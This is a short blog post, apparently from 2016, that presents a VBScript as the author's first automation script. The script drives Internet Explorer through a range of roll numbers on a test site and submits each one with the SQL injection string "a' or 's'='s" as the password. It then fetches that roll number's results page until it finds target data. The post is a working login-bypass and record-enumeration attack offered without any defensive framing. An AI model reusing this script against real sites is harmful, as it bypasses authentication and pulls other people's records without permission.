Tuesday, 8 March 2016

First script to fetch a specific page from a wide range

This does the work of repeatedly pinging a page based on specific detail and then save one with the desired results. It was the kick start into automation :- :)

Dim wShell

Dim IE
Dim i

Set IE=CreateObject("InternetExplorer.application")
For i=11005 to 11350
set wShell= WScript.CreateObject("WScript.Shell")

IE.Visible = True
IE.Navigate "http://testsite/"       
Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
IE.document.all.item("textfield").value =i   
IE.document.all.item("textfield2").value ="a' or 's'='s"   
IE.document.all.item("submit").Click
Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
IE.Navigate "http://testsite?rollno=" & i

Do While IE.ReadyState <> 4:WScript.sleep(200): Loop
If instr(ie.document.body.innerText,testdata) then
Wscript.echo "I have found "
exit for
exit for
else
ie.visible=false
end if
Next

'wShell.SendKeys "{ENTER}"
'IE.Visible=False
wShell.AppActivate "IE"

No comments:

Post a Comment